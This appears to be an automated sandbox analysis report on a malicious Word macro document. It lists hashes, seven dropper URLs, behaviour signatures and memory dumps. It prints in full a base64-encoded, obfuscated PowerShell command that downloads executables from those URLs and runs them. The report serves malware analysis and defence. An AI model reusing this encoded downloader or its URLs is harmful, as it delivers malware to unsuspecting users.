Analysis

  • max time kernel
    120s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    27/05/2024, 06:28

General

  • Target

    7833a2b1b69f26bf8186fb4d724d091d_JaffaCakes118.doc

  • Size

    195KB

  • MD5

    7833a2b1b69f26bf8186fb4d724d091d

  • SHA1

    262ff4114616b1876470e5c9009f6b62b73df29c

  • SHA256

    f56906e33a9a9bd3b074b3b5c24c2e98ba58817c4c61452977054f27d0d9312d

  • SHA512

    c6f9c11505cbd9a125acc49fc8bfb62e81cda0c5777c1f7396aed4ada37cf7fac64d7903d5edeaf0f788d2cec4be6bf5a31960952544f90da29003d7904b7e5f

  • SSDEEP

    1536:2rdi1Ir77zOH98Wj2gpngh+a9Jwul8oPhEPmRl6VOF4p:2rfrzOH98ipgVwul8uWP+l6VOF4p

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://vstbar.com/wp-admin/Hs/

exe.dropper

http://binarywebtechsolutions.com/mobile-website-designing-company-in-gurgaon/CLZ/

exe.dropper

http://shahqutubuddin.org/U/

exe.dropper

http://cybersign-001-site5.gtempurl.com/2xwzq/bve/

exe.dropper

https://star-speed.vip/wp-admin/Ttv/

exe.dropper

https://treneg.com.br/rfvmbh/a/

exe.dropper

https://cimsjr.com/hospital/x2f/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7833a2b1b69f26bf8186fb4d724d091d_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABVADMANABrAGoAeQBkAD0AKAAnAEEAcQAnACsAKAAnAHUAJwArACcAaABhAGEAJwApACsAJwBsACcAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBwAFIAbwBmAGkATABlAFwAbQA3AGIAaQA0AE8AQwBcAFEAawByAEgAMgBaAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAVQBSAEkAdABgAHkAUAByAGAATwBUAGAAbwBjAE8ATAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxADIALAAgACcAKwAnAHQAJwApACsAKAAnAGwAcwAxACcAKwAnADEALAAnACkAKwAoACcAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQAQQA4AGcAdQBtAHkAOQAgAD0AIAAoACgAJwBGAGgAZABuACcAKwAnAHMAJwApACsAJwB1ACcAKQA7ACQAQgAwADkAbABkAHYAZAA9ACgAKAAnAEkAdwAnACsAJwB3ADMAJwApACsAJwB2ACcAKwAnADYAeQAnACkAOwAkAE0AYgBiADkAbwBjAGsAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAVwBTACcAKwAoACcAeABNACcAKwAnADcAJwApACsAKAAnAGIAaQA0ACcAKwAnAG8AJwApACsAKAAnAGMAJwArACcAVwBTACcAKQArACgAJwB4ACcAKwAnAFEAawByAGgAMgAnACsAJwB6ACcAKQArACgAJwBrAFcAJwArACcAUwB4ACcAKQApACAALQByAEUAUABsAGEAYwBFACAAIAAoACcAVwBTACcAKwAnAHgAJwApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAEEAOABnAHUAbQB5ADkAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFYAMwBnAGgAbQA2ADcAPQAoACcAUAAnACsAKAAnADAAJwArACcAbgAwACcAKQArACgAJwB0ACcAKwAnAHYAOAAnACkAKQA7ACQAQwB1AGQAagBsAGwAdwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAEUAQgBjAEwASQBFAG4AVAA7ACQAWQBrADkAdgBkAGcAdQA9ACgAKAAnAGgAdAB0AHAAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AdgBzAHQAJwArACcAYgBhAHIAJwApACsAKAAnAC4AYwBvAG0AJwArACcALwAnACsAJwB3ACcAKQArACcAcAAnACsAJwAtACcAKwAoACcAYQBkACcAKwAnAG0AJwArACcAaQBuAC8AJwApACsAKAAnAEgAJwArACcAcwAvACcAKwAnACoAaAB0ACcAKQArACcAdAAnACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AYgBpACcAKQArACgAJwBuACcAKwAnAGEAcgB5AHcAZQBiAHQAJwArACcAZQAnACkAKwAoACcAYwBoAHMAbwAnACsAJwBsAHUAJwApACsAKAAnAHQAaQBvACcAKwAnAG4AcwAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAKAAnAG0AbwBiAGkAbABlACcAKwAnAC0AdwBlACcAKwAnAGIAJwArACcAcwAnACkAKwAoACcAaQB0ACcAKwAnAGUAJwApACsAKAAnAC0AJwArACcAZABlAHMAaQBnACcAKQArACgAJwBuAGkAbgBnACcAKwAnAC0AYwAnACsAJwBvACcAKQArACcAbQBwACcAKwAoACcAYQBuACcAKwAnAHkAJwArACcALQBpAG4ALQAnACkAKwAoACcAZwB1ACcAKwAnAHIAZwAnACkAKwAoACcAYQBvACcAKwAnAG4ALwBDAEwAJwApACsAKAAnAFoAJwArACcALwAqAGgAdAAnACkAKwAnAHQAJwArACgAJwBwACcAKwAnADoALwAvAHMAaABhACcAKwAnAGgAcQAnACkAKwAnAHUAdAAnACsAJwB1AGIAJwArACcAdQAnACsAJwBkACcAKwAnAGQAaQAnACsAJwBuAC4AJwArACcAbwAnACsAJwByACcAKwAnAGcALwAnACsAJwBVACcAKwAnAC8AJwArACcAKgBoACcAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGMAeQBiAGUAcgBzACcAKwAnAGkAZwAnACkAKwAoACcAbgAtACcAKwAnADAAMAAxAC0AcwBpACcAKwAnAHQAZQAnACsAJwA1AC4AZwB0ACcAKwAnAGUAJwApACsAJwBtACcAKwAnAHAAJwArACgAJwB1ACcAKwAnAHIAbAAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACgAJwAyAHgAJwArACcAdwB6AHEAJwApACsAKAAnAC8AYgB2AGUAJwArACcALwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAnAC8AcwAnACsAKAAnAHQAYQAnACsAJwByAC0AJwArACcAcwBwAGUAZQAnACkAKwAnAGQAJwArACcALgB2ACcAKwAnAGkAJwArACgAJwBwAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGEAZABtAGkAJwArACcAbgAnACkAKwAnAC8AJwArACcAVAAnACsAKAAnAHQAJwArACcAdgAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAnAHMAJwArACcAOgAvACcAKwAoACcALwAnACsAJwB0AHIAJwApACsAJwBlACcAKwAoACcAbgBlACcAKwAnAGcAJwApACsAJwAuAGMAJwArACgAJwBvAG0ALgBiACcAKwAnAHIALwAnACsAJwByAGYAJwApACsAKAAnAHYAbQAnACsAJwBiAGgAJwArACcALwBhAC8AKgBoAHQAJwApACsAJwB0AHAAJwArACcAcwAnACsAJwA6AC8AJwArACgAJwAvAGMAaQBtACcAKwAnAHMAJwApACsAKAAnAGoAcgAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAGgAJwApACsAJwBvAHMAJwArACcAcAAnACsAJwBpAHQAJwArACgAJwBhAGwALwB4ACcAKwAnADIAJwArACcAZgAvACcAKQApAC4AIgBTAFAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAawAxAG0AbQBuAF8APQAoACcAWQAnACsAJwAxACcAKwAoACcAaAB2AHAAJwArACcAagAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAVABmAHkAdgBqAHQAMwAgAGkAbgAgACQAWQBrADkAdgBkAGcAdQApAHsAdAByAHkAewAkAEMAdQBkAGoAbABsAHcALgAiAEQAYABPAFcAYABOAEwAYABvAGEAZABGAEkATABFACIAKAAkAFQAZgB5AHYAagB0ADMALAAgACQATQBiAGIAOQBvAGMAawApADsAJABPAGEAawB3AG0AbQBmAD0AKAAnAEIAJwArACgAJwA0ACcAKwAnAHoAZgAnACkAKwAoACcAaABlACcAKwAnAGgAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQATQBiAGIAOQBvAGMAawApAC4AIgBsAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADMANQAyADMAMwApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABNAGIAYgA5AG8AYwBrACkAOwAkAE4AdABrAGYAbQA3AHEAPQAoACcAVwAnACsAJwBrAHgAJwArACgAJwB4AGsAJwArACcAMQBuACcAKQApADsAYgByAGUAYQBrADsAJABEAHAAdABsAGwAMgA3AD0AKAAoACcATQBqACcAKwAnAHQAJwApACsAKAAnAHkAJwArACcANQBjADUAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAOAA3ADEAcQBkAGkAPQAoACcAVgAnACsAJwA0ACcAKwAoACcAcQBjAHQAJwArACcAdgAzACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2696

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      1724363df21e1f1ce7a03cd29e4ccfc1

      SHA1

      25a4357b62ebb9413f966033bd0d50213311e574

      SHA256

      95599a41e6bbb74ed28c7c0cd7a9c51896a6cdc8d56b178cfdad9334fb0f328f

      SHA512

      ee0026511c1f142f741f3fab49b35df15bf2ec508ea4846ef8ec7c32433405524334de6307f6cc647023d666b6a213222b43855dfff7a5ea0f46f9126d336c46

    • memory/1704-24-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-12-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-6-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-7-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-8-0x0000000005C80000-0x0000000005D80000-memory.dmp

      Filesize

      1024KB

    • memory/1704-9-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-10-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-15-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-21-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-23-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-22-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-20-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-19-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-17-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-14-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-13-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-0-0x000000002FEC1000-0x000000002FEC2000-memory.dmp

      Filesize

      4KB

    • memory/1704-11-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-2-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1704-18-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-25-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-27-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-26-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-28-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-31-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-33-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-32-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-30-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-29-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-34-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-68-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1704-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1704-46-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1704-47-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-49-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-50-0x0000000000340000-0x0000000000440000-memory.dmp

      Filesize

      1024KB

    • memory/1704-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2696-41-0x0000000002320000-0x0000000002328000-memory.dmp

      Filesize

      32KB

    • memory/2696-40-0x000000001B2A0000-0x000000001B582000-memory.dmp

      Filesize

      2.9MB